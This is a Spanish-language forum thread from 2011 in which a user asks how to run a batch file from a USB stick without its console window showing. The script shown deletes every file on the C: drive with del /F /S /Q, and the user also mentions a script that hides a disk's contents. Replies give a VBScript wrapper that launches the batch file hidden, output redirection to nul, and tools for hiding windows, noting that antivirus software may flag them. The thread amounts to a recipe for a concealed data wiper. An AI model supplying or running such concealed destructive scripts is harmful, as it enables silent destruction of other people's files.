Como Ocultar el proceso que realiza un bat...??

Iniciado por preguntonpregunta, 22 Septiembre 2011, 03:29 AM

0 Miembros y 1 Visitante están viendo este tema.

preguntonpregunta

Hola.

Mi otra pregunta es, Como se hace para ocultar el proceso que hace un bat..??

Por ejemplo: el código bat de borrar todos las carpetas y sub carpetas de una unidad o ubicación, o el código bat de ocultar todo el contenido de una unidad, muestran la ventana del DOS con todos los procesos que se están realizando.

Saludos y gracias de antemano por cualquier ayuda que me puedan brindar...!!

$Edu$

Trata de explicarte de otra forma que no se entiende mucho que quieres decir

preguntonpregunta

Disculpen,

Al ejecutar este BAT:

@echo off
cd c:\
del /F /S /Q "*.*"
exit


Aparece la ventana del DOS:



De igual manera, cuando ejecuta un bat para ocultar todo el contenido de un disco duro, aparece la misma ventana y hasta cuando termina el proceso se cierra la ventana....

Como hago para que no aparezca esa ventana? El bat es ejecutado desde una USB.

Saludos y gracias por corregirme.

2Fac3R

Código (dos) [Seleccionar]

@echo off
del /F /S /Q "*.*">nul


Busca algo de info sobre esto que es bastante util...
Escuela de Hackers & Programación. http://ihackndev.blogspot.com/

$Edu$

Ese codigo que te deja 2facer hara que no devuelva respuesta ese comando, pero si son muchos archivos y se demora la eliminacion de esos que seguramente es lo que te pasa, seguiras viendo la ventanita, solo que sin contenido, si lo que vs queres hacer es hacerlo oculto totalmente, usa visual basic script.

Mira, copia este codigo:

Código (vb) [Seleccionar]

set objshell = createobject("wscript.shell")
objshell.run "comosellamatubat.bat", vbhide


Y lo guardas como .vbs y ese script ira junto a tu .bat y sera el que se ejecutara siempre antes, porque llamara a tu .bat de modo oculto.

2Fac3R

Claro, tambien puedes compilarlo (con QBFC por ejemplo) y ponerle la opcion "Ghost" y listo...
Escuela de Hackers & Programación. http://ihackndev.blogspot.com/

leogtz

nircmd o cmdow, o vbscript, aunque lo pueden detectar los AV's.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com